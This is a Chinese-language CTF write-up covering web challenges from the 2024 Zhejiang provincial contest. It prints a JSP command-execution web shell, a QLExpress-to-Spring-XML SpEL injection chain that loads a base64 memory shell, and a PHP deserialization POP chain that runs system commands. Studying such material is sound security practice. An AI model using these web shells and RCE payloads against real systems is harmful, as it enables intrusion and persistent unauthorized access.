2024浙江省省赛 web

初赛

这次比赛题目还是比较简单的 我上来就拿了两个血

可惜第三题使用xml加载内存马的时候 脑袋抽了没想出来 可惜了

最后第11名 欸可惜

easyjs

image-20241105164442279

点名了存在原型链污染

image-20241105171229441

污染id=1 的isAdmin为true就行 得到flag

image-20241105171245691

这题不污染也行 乐

hack memory

不知道应该干啥 扫一下

image-20241105171916035

直接上传一句话就行

1
2
3
4
5
6
7
8
9
10
<% if("poc".equals(request.getParameter("pwd"))){
java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b,0,a));
}
out.print("</pre>");
}
%>

image-20241105172014361

QL_again

这题当时本地可以出 但是线上环境不出网 于是就失败了

image-20241105175129050

这里存在标准的ql表达式注入

image-20241105175435330

开了白名单 无法调用方法 只能使用构造方法 寻找构造方法可以rce的类

想起来之前学到过

image-20241105182601182

但是之前利用的时候是使用的远程xml链接 这里不存在 只能想想别的方法

发现可以加载本地的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
try {

String code = "import org.springframework.context.support.ClassPathXmlApplicationContext;ClassPathXmlApplicationContext b = new ClassPathXmlApplicationContext('file:///D:/Desktop/.txt');";
ExpressRunner runner = new ExpressRunner();
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
Set<String> secureMethods = new HashSet<>();
secureMethods.add(null);
QLExpressRunStrategy.setSecureMethods(secureMethods);
DefaultContext<String, Object> context = new DefaultContext();
runner.execute(code, (IExpressContext)context, (List)null, false, false);
} catch (Exception e) {
e.printStackTrace();
}

而这题 将QL表达式写入文件的时候 如果没有成功执行 并没有删除

image-20241105191241320

可以利用这一点 加载我们写入的xml文件完成rce

1
2
3
4
5
6
7
8
9
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc.exe" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>

image-20241105193042806

但是这里不出网 不能反弹shell 只能想办法打内存马 比赛时也是卡在这个地方

现在花点时间调试一下 这个bean怎么加载进去的

前面主要是环境和logger的初始化 我就不细细调试了

主要加载bean的流程在这里org.springframework.beans.factory.support.DefaultListableBeanFactory#preInstantiateSingletons 调用点在这里

image-20241105201338869

他这里有一个whiletrue 处理我们的xml数据

image-20241105201543678

先将我们需要加载的bean类储存在beanNames列表里面 这里面就一个pb这个类 然后在getMergedLocalBeanDefinition 里面获取了pb这个类的结构

image-20241105203734034

这里判断了这个bean是不是 FactoryBean 显然我们自己写的类不是 所以调用了getBean方法获取

显然我们自己写的这个类不存在 所以触发了createbean方法

image-20241105204338945

然后触发autowireConstructor 方法 构造出这个类之后进入evaluate方法

image-20241105204558514

在这里造成了rce

这个过程中 在bean加载的时候 实际上是吧

1
2
3
4
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc.exe" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>

里面这部分参数作为spel表达式处理了 根据spel表达式 我们也可以构造任意表达式注入

1
2
3
4
5
6
7
8
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="org.example.qlinject.main">
<property name="helloWorld" value="#{ T(java.lang.Runtime).getRuntime.exec('calc') }"/>
</bean>
</beans>

注意的是 这里需要让class内的参数是包内存在的类

如果是不存在的类 会造成抛出报错

image-20241105205510338

原因是前面在获取结构的时候 会触发实例化 去实例化这个class类

如果没有获取到就会直接报错

所以最终的payload如下

1
2
3
4
5
6
7
8
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="shell" class="org.example.qlinject">
<property name="helloWorld" value="#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}"/>
</bean>
</beans>

第一次上传写入/tmp/PGJ.txt,第二次加载即可注入内存马

决赛

还是成功拿下省一拉

wucanrce

无参数rce
image-20241109094836198
得到flag

unserialize

爆破得到两次md5哈希之后的值弱比较等于666的值是231
然后打反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
// highlight_file(__FILE__);
error_reporting(0);
class AAA{
public $aear;
public $string;
}
class BBB {
private $pop;
}
class DDD{
public $bag;
public $length;
public $magazine;
}
class EEE{
public $d=array();
public $e;
public $f;
}
class FFF{
public $cookie;
}
class GGG{
public $green;
public $book;
}
$payload = new AAA();
$payload->aear=new AAA();
$payload->aear->string=new GGG();
$payload->aear->string->book="213";
$payload->aear->string->green=new EEE();
$payload->aear->string->green->d=1;
$payload->aear->string->green->e=array('123');
$payload->aear->string->green->f="system('cat /flag.txt');";
// $payload->aear->string->green->e=3;
// 213
// $payload->aear->bag="123";
// $payload->aear->length=new DDD();
// $payload->aear->length->magazine=new EEE();
// function a() {`calc`;};a
// $payload->aear->length->magazine->d[1]=2;
// $payload->aear->length->magazine->e=2;
// $payload->aear->length->magazine->f="system('ls /')";
echo serialize($payload);

image-20241109120211539